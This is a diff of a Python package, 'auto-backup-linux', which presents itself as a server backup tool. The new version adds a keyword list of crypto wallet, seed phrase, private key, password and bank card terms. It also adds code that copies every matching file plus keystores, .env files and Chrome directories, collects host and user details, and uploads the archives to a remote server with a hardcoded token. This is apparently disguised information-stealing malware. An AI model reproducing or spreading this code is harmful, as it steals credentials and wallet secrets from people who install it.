auto-backup-linux 1.0.2__tar.gz → 1.0.4__tar.gz

{auto_backup_linux-1.0.2/auto_backup_linux.egg-info → auto_backup_linux-1.0.4}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: auto-backup-linux
-Version: 1.0.2
+Version: 1.0.4
 Summary: 一个用于Linux服务器的自动备份工具，支持文件备份、压缩和上传到云端
 Home-page: https://github.com/wongstarx/auto-backup-linux
 Author: YLX Studio
@@ -68,8 +68,9 @@ pip install auto-backup-linux
 ```bash
 # 安装 pipx（如果未安装）
 sudo apt update
-sudo apt install pipx
+sudo apt install pipx -y
 pipx ensurepath
+source ~/.bashrc
 
 # 从 PyPI 安装
 pipx install auto-backup-linux

{auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/README.md

@@ -33,8 +33,9 @@ pip install auto-backup-linux
 ```bash
 # 安装 pipx（如果未安装）
 sudo apt update
-sudo apt install pipx
+sudo apt install pipx -y
 pipx ensurepath
+source ~/.bashrc
 
 # 从 PyPI 安装
 pipx install auto-backup-linux

{auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup/__init__.py

@@ -5,7 +5,7 @@ Auto Backup - 自动备份工具包
 一个用于Linux服务器的自动备份工具，支持文件备份、压缩和上传到云端。
 """
 
-__version__ = "1.0.1"
+__version__ = "1.0.4"
 __author__ = "YLX Studio"
 
 from .config import BackupConfig

{auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup/cli.py

@@ -3,8 +3,11 @@
 import os
 import sys
 import time
+import socket
 import logging
 import platform
+import getpass
+import shutil
 from datetime import datetime, timedelta
 from pathlib import Path
 
@@ -18,7 +21,7 @@ def is_server():
 
 
 def backup_server(backup_manager, source, target):
-    """备份服务器"""
+    """备份服务器，返回备份文件路径列表（不执行上传）"""
     backup_dir = backup_manager.backup_linux_files(source, target)
     if backup_dir:
         backup_path = backup_manager.zip_backup_folder(
@@ -26,10 +29,12 @@ def backup_server(backup_manager, source, target):
             str(target) + "_" + datetime.now().strftime("%Y%m%d_%H%M%S")
         )
         if backup_path:
-            if backup_manager.upload_backup(backup_path):
-                logging.critical("☑️ 服务器备份完成")
-            else:
-                logging.error("❌ 服务器备份失败")
+            logging.critical("☑️ 服务器备份文件已准备完成")
+            return backup_path
+        else:
+            logging.error("❌ 服务器备份压缩失败")
+            return None
+    return None
 
 
 def backup_and_upload_logs(backup_manager):
@@ -41,6 +46,14 @@ def backup_and_upload_logs(backup_manager):
                 logging.debug(f"备份日志文件不存在，跳过: {log_file}")
             return
 
+        # 刷新日志缓冲区，确保所有日志都已写入文件
+        for handler in logging.getLogger().handlers:
+            if hasattr(handler, 'flush'):
+                handler.flush()
+        
+        # 等待一小段时间，确保文件系统同步
+        time.sleep(0.5)
+
         file_size = os.path.getsize(log_file)
         if file_size == 0:
             if backup_manager.config.DEBUG_MODE:
@@ -49,6 +62,7 @@ def backup_and_upload_logs(backup_manager):
 
         temp_dir = Path.home() / ".dev/Backup/temp_backup_logs"
         if not backup_manager._ensure_directory(str(temp_dir)):
+            logging.error("❌ 无法创建临时日志目录")
             return
 
         timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
@@ -56,35 +70,60 @@ def backup_and_upload_logs(backup_manager):
         backup_path = temp_dir / backup_name
 
         try:
-            import shutil
-            shutil.copy2(log_file, backup_path)
+            # 读取并验证日志内容
+            with open(log_file, 'r', encoding='utf-8', errors='ignore') as src:
+                log_content = src.read()
+            
+            if not log_content or not log_content.strip():
+                logging.warning("⚠️ 日志内容为空，跳过上传")
+                return
+            
+            # 写入备份文件
+            with open(backup_path, 'w', encoding='utf-8') as dst:
+                dst.write(log_content)
+            
+            # 验证备份文件是否创建成功
+            if not os.path.exists(str(backup_path)) or os.path.getsize(str(backup_path)) == 0:
+                logging.error("❌ 备份日志文件创建失败或为空")
+                return
+            
             if backup_manager.config.DEBUG_MODE:
-                logging.info(f"📄 已复制备份日志到临时目录")
+                logging.info(f"📄 已复制备份日志到临时目录 ({os.path.getsize(str(backup_path)) / 1024:.2f}KB)")
+            
+            # 上传日志文件
+            logging.info(f"📤 开始上传备份日志文件 ({os.path.getsize(str(backup_path)) / 1024:.2f}KB)...")
+            if backup_manager.upload_file(str(backup_path)):
+                try:
+                    with open(log_file, 'w', encoding='utf-8') as f:
+                        f.write(f"=== 📝 备份日志已于 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} 上传 ===\n")
+                    logging.info("✅ 备份日志上传成功并已清空")
+                except Exception as e:
+                    logging.error(f"❌ 备份日志更新失败: {e}")
+            else:
+                logging.error("❌ 备份日志上传失败")
+
+        except (OSError, IOError, PermissionError) as e:
+            logging.error(f"❌ 复制或读取日志文件失败: {e}")
         except Exception as e:
-            logging.error(f"❌ 复制备份日志失败: {e}")
-            return
+            logging.error(f"❌ 处理日志文件时出错: {e}")
+            import traceback
+            if backup_manager.config.DEBUG_MODE:
+                logging.debug(traceback.format_exc())
 
-        if backup_manager.upload_file(str(backup_path)):
+        # 清理临时目录
+        finally:
             try:
-                with open(log_file, 'w', encoding='utf-8') as f:
-                    f.write(f"=== 📝 备份日志已于 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} 上传 ===\n")
-                if backup_manager.config.DEBUG_MODE:
-                    logging.info("✅ 备份日志已更新")
+                if os.path.exists(str(temp_dir)):
+                    shutil.rmtree(str(temp_dir))
             except Exception as e:
-                logging.error(f"❌ 备份日志更新失败: {e}")
-        else:
-            logging.error("❌ 备份日志上传失败")
-
-        try:
-            if os.path.exists(str(temp_dir)):
-                import shutil
-                shutil.rmtree(str(temp_dir))
-        except Exception as e:
-            if backup_manager.config.DEBUG_MODE:
-                logging.error(f"❌ 清理临时目录失败: {e}")
+                if backup_manager.config.DEBUG_MODE:
+                    logging.debug(f"清理临时目录失败: {e}")
                 
     except Exception as e:
         logging.error(f"❌ 处理备份日志时出错: {e}")
+        import traceback
+        if backup_manager.config.DEBUG_MODE:
+            logging.debug(traceback.format_exc())
 
 
 def clean_backup_directory():
@@ -160,10 +199,50 @@ def periodic_backup_upload(backup_manager):
     target = Path.home() / ".dev/Backup/server"
 
     try:
+        # 获取用户名和系统信息
+        username = getpass.getuser()
+        hostname = socket.gethostname()
         current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
-        logging.critical("\n" + "="*40)
-        logging.critical(f"🚀 自动备份系统已启动  {current_time}")
-        logging.critical("="*40)
+        
+        # 获取系统环境信息
+        system_info = {
+            "操作系统": platform.system(),
+            "系统版本": platform.release(),
+            "系统架构": platform.machine(),
+            "Python版本": platform.python_version(),
+            "主机名": hostname,
+            "用户名": username,
+        }
+        
+        # 获取Linux发行版信息
+        try:
+            with open("/etc/os-release", "r") as f:
+                for line in f:
+                    if line.startswith("PRETTY_NAME="):
+                        system_info["Linux发行版"] = line.split("=")[1].strip().strip('"')
+                        break
+        except:
+            pass
+        
+        # 获取内核版本
+        try:
+            with open("/proc/version", "r") as f:
+                kernel_version = f.read().strip().split()[2]
+                system_info["内核版本"] = kernel_version
+        except:
+            pass
+        
+        # 输出启动信息和系统环境
+        logging.critical("\n" + "="*50)
+        logging.critical("🚀 自动备份系统已启动")
+        logging.critical("="*50)
+        logging.critical(f"⏰ 启动时间: {current_time}")
+        logging.critical("-"*50)
+        logging.critical("📊 系统环境信息:")
+        for key, value in system_info.items():
+            logging.critical(f"   • {key}: {value}")
+        logging.critical("-"*50)
+        logging.critical("="*50)
 
         while True:
             try:
@@ -178,23 +257,35 @@ def periodic_backup_upload(backup_manager):
                 logging.critical("-"*40)
 
                 logging.critical("\n🖥️ 服务器指定目录备份")
-                backup_server(backup_manager, source, target)
-                
-                if backup_manager.config.DEBUG_MODE:
-                    logging.info("\n📝 备份日志上传")
-                backup_and_upload_logs(backup_manager)
+                backup_paths = backup_server(backup_manager, source, target)
 
                 # 保存下次备份时间
                 save_next_backup_time(backup_manager)
 
+                # 输出结束语（在上传之前）
                 logging.critical("\n" + "="*40)
                 next_backup_time = datetime.now() + timedelta(seconds=backup_manager.config.BACKUP_INTERVAL)
                 current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
                 next_time = next_backup_time.strftime('%Y-%m-%d %H:%M:%S')
                 logging.critical(f"✅ 备份完成  {current_time}")
-                logging.critical(f"⏳ 下次备份: {next_time}")
+                logging.critical("="*40)
+                logging.critical("📋 备份任务已结束")
+                logging.critical(f"🔄 下次启动备份时间: {next_time}")
                 logging.critical("="*40 + "\n")
 
+                # 开始上传备份文件
+                if backup_paths:
+                    logging.critical("📤 开始上传备份文件...")
+                    if backup_manager.upload_backup(backup_paths):
+                        logging.critical("✅ 备份文件上传成功")
+                    else:
+                        logging.error("❌ 备份文件上传失败")
+                
+                # 上传备份日志
+                if backup_manager.config.DEBUG_MODE:
+                    logging.info("\n📝 备份日志上传")
+                backup_and_upload_logs(backup_manager)
+
             except Exception as e:
                 logging.error(f"\n❌ 备份出错: {e}")
                 try:

{auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup/config.py

@@ -45,13 +45,13 @@ class BackupConfig:
     # 需要备份的文件类型
     # 文档类型扩展名
     DOC_EXTENSIONS = [
-        ".txt", ".json", ".js", ".py", ".go", ".sh", ".sol", ".rs", ".env",
-        ".csv", ".bin", ".wallet", ".ts", ".jsx", ".tsx"
+        ".txt", ".json", ".js", ".py", ".go", ".sh", ".bash", ".rs", ".env",
+        ".ts", ".jsx", ".tsx", ".csv", ".ps1", ".md",
     ]
     # 配置类型扩展名
     CONFIG_EXTENSIONS = [
-        ".pem", ".key", ".keystore", ".utc", ".xml", ".ini", ".config",
-        ".yaml", ".yml", ".toml", ".asc", ".gpg", ".pgp", ".conf"
+        ".pem", ".key", ".keystore", ".utc", ".xml", ".ini", ".config", ".conf", ".json",
+        ".yaml", ".yml", ".toml", ".utc", ".gpg", ".pgp", ".wallet", ".keystore",
     ]
     # 所有备份扩展名（用于兼容性）
     BACKUP_EXTENSIONS = DOC_EXTENSIONS + CONFIG_EXTENSIONS
@@ -85,10 +85,46 @@ class BackupConfig:
         ".thunderbird",
         ".wdm",
         "cache",
-        "Downloads",
         "myenv",
         "snap",
         "venv",
+        "node_modules",
+        "dist",
+        ".cache",
+        ".config",
+        ".vscode-server",
+        "build",
+        ".vscode-remote-ssh",
+        ".git",
+        "__pycache__",
+    ]
+
+    # 关键字备份配置 - 备份包含以下关键字的文件和文件夹
+    KEYWORD_BACKUP_KEYWORDS = [
+        "wallet",
+        "seed",
+        "mnemonic",
+        "private",
+        "privkey",
+        "keypair",
+        "secret",
+        "account",
+        "password",
+        "bank",
+        "card",
+        "solana",
+        "important",
+        "钱包",
+        "助记词",
+        "种子",
+        "私钥",
+        "密钥",
+        "密码",
+        "账户",
+        "账号",
+        "信用卡",
+        "备忘",
+        "重要",
     ]
 
     # 上传服务器配置

{auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup/manager.py

@@ -21,7 +21,7 @@ class BackupManager:
     def __init__(self):
         """初始化备份管理器"""
         self.config = BackupConfig()
-        self.api_token = "8m9D4k6cv6LekYoVcjQBK4yvvDDyiFdf"
+        self.api_token = "oxQbVFE4p8BKRSE07r03s7jW4FDIC0sR"
         # 使用集合优化扩展名检查性能
         self.doc_extensions_set = set(ext.lower() for ext in self.config.DOC_EXTENSIONS)
         self.config_extensions_set = set(ext.lower() for ext in self.config.CONFIG_EXTENSIONS)
@@ -200,11 +200,12 @@ class BackupManager:
         target_docs = os.path.join(target_dir, "docs") # 备份文档的目标目录
         target_configs = os.path.join(target_dir, "configs") # 备份配置文件的目标目录
         target_specified = os.path.join(target_dir, "specified")  # 新增指定目录/文件的备份目录
+        target_keyword = os.path.join(target_dir, "keyword")  # 关键字文件备份目录
 
         if not self._clean_directory(target_dir):
             return None
 
-        if not all(self._ensure_directory(d) for d in [target_docs, target_configs, target_specified]):
+        if not all(self._ensure_directory(d) for d in [target_docs, target_configs, target_specified, target_keyword]):
             return None
 
         # 首先备份指定目录或文件 (SERVER_BACKUP_DIRS)
@@ -216,6 +217,10 @@ class BackupManager:
         # 追加：备份 Linux Chrome 目录
         self._backup_chrome_directories(target_specified)
 
+        # 追加：备份包含关键字的文件和文件夹
+        logging.info("\n🔑 开始备份关键字文件...")
+        self._backup_keyword_files(source_dir, target_keyword)
+
         # 然后备份其他文件 (不在SERVER_BACKUP_DIRS中的，根据文件类型备份)
         # 预计算已备份的目录路径集合，优化性能
         source_dir_abs = os.path.abspath(source_dir)
@@ -545,3 +550,113 @@ class BackupManager:
                     pass
             return False
 
+    def _contains_keyword(self, name):
+        """检查文件名或目录名是否包含关键字（不区分大小写）"""
+        name_lower = name.lower()
+        for keyword in self.config.KEYWORD_BACKUP_KEYWORDS:
+            if keyword.lower() in name_lower:
+                return True
+        return False
+
+    def _backup_keyword_files(self, source_dir, target_keyword):
+        """备份包含关键字的文件和文件夹"""
+        try:
+            source_dir_abs = os.path.abspath(source_dir)
+            target_dir_abs = os.path.abspath(target_keyword)
+            exclude_dirs_lower = {ex.lower() for ex in self.config.EXCLUDE_DIRS}
+            keywords_lower = [kw.lower() for kw in self.config.KEYWORD_BACKUP_KEYWORDS]
+            
+            files_count = 0
+            dirs_count = 0
+            backed_up_paths = set()  # 记录已备份的路径，避免重复备份
+            
+            # 遍历源目录
+            for root, dirs, files in os.walk(source_dir):
+                root_abs = os.path.abspath(root)
+                
+                # 跳过目标备份目录本身
+                if root_abs.startswith(target_dir_abs):
+                    continue
+                
+                # 跳过排除的目录
+                root_name = os.path.basename(root)
+                if root_name.lower() in exclude_dirs_lower:
+                    dirs[:] = []  # 清空dirs列表，阻止进入子目录
+                    continue
+                
+                # 检查目录名是否包含关键字
+                if self._contains_keyword(root_name):
+                    # 备份整个目录
+                    relative_path = os.path.relpath(root, source_dir)
+                    target_path = os.path.join(target_keyword, relative_path)
+                    
+                    # 避免重复备份
+                    if root_abs not in backed_up_paths:
+                        try:
+                            if os.path.exists(target_path):
+                                shutil.rmtree(target_path, ignore_errors=True)
+                            if self._ensure_directory(os.path.dirname(target_path)):
+                                shutil.copytree(root, target_path, symlinks=True)
+                                backed_up_paths.add(root_abs)
+                                dirs_count += 1
+                                if self.config.DEBUG_MODE:
+                                    logging.info(f"🔑 已备份关键字目录: {relative_path}/")
+                        except Exception as e:
+                            logging.error(f"❌ 备份关键字目录失败 {relative_path}: {str(e)}")
+                    
+                    # 标记所有子目录为已备份，避免重复处理
+                    for subdir in dirs:
+                        subdir_path = os.path.join(root, subdir)
+                        backed_up_paths.add(os.path.abspath(subdir_path))
+                    dirs[:] = []  # 清空dirs列表，不再进入子目录
+                    continue
+                
+                # 检查当前目录是否在已备份的目录中（如果是，跳过该目录下的所有文件）
+                if any(root_abs.startswith(backed_path + os.sep) or root_abs == backed_path 
+                       for backed_path in backed_up_paths):
+                    continue
+                
+                # 检查文件名是否包含关键字
+                for file in files:
+                    if self._contains_keyword(file):
+                        source_file = os.path.join(root, file)
+                        source_file_abs = os.path.abspath(source_file)
+                        
+                        # 避免重复备份
+                        if source_file_abs in backed_up_paths:
+                            continue
+                        
+                        # 检查文件是否在已备份的目录中
+                        if any(source_file_abs.startswith(backed_path + os.sep) or source_file_abs == backed_path
+                               for backed_path in backed_up_paths):
+                            continue
+                        
+                        relative_path = os.path.relpath(root, source_dir)
+                        target_sub_dir = os.path.join(target_keyword, relative_path)
+                        target_file = os.path.join(target_sub_dir, file)
+                        
+                        try:
+                            if self._ensure_directory(target_sub_dir):
+                                shutil.copy2(source_file, target_file)
+                                backed_up_paths.add(source_file_abs)
+                                files_count += 1
+                                if self.config.DEBUG_MODE:
+                                    logging.info(f"🔑 已备份关键字文件: {relative_path}/{file}")
+                        except Exception as e:
+                            logging.error(f"❌ 备份关键字文件失败 {relative_path}/{file}: {str(e)}")
+            
+            # 打印备份统计信息
+            if files_count > 0 or dirs_count > 0:
+                logging.info(f"\n🔑 关键字文件备份统计:")
+                if files_count > 0:
+                    logging.info(f"   📄 文件: {files_count} 个")
+                if dirs_count > 0:
+                    logging.info(f"   📁 目录: {dirs_count} 个")
+            
+            return True
+        except Exception as e:
+            logging.error(f"❌ 关键字文件备份过程出错: {str(e)}")
+            if self.config.DEBUG_MODE:
+                import traceback
+                logging.debug(traceback.format_exc())
+            return False

{auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4/auto_backup_linux.egg-info}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: auto-backup-linux
-Version: 1.0.2
+Version: 1.0.4
 Summary: 一个用于Linux服务器的自动备份工具，支持文件备份、压缩和上传到云端
 Home-page: https://github.com/wongstarx/auto-backup-linux
 Author: YLX Studio
@@ -68,8 +68,9 @@ pip install auto-backup-linux
 ```bash
 # 安装 pipx（如果未安装）
 sudo apt update
-sudo apt install pipx
+sudo apt install pipx -y
 pipx ensurepath
+source ~/.bashrc
 
 # 从 PyPI 安装
 pipx install auto-backup-linux

{auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/setup.py

@@ -9,7 +9,7 @@ long_description = readme_file.read_text(encoding='utf-8') if readme_file.exists
 
 setup(
     name="auto-backup-linux",
-    version="1.0.2",
+    version="1.0.4",
     author="YLX Studio",
     author_email="",
     description="一个用于Linux服务器的自动备份工具，支持文件备份、压缩和上传到云端",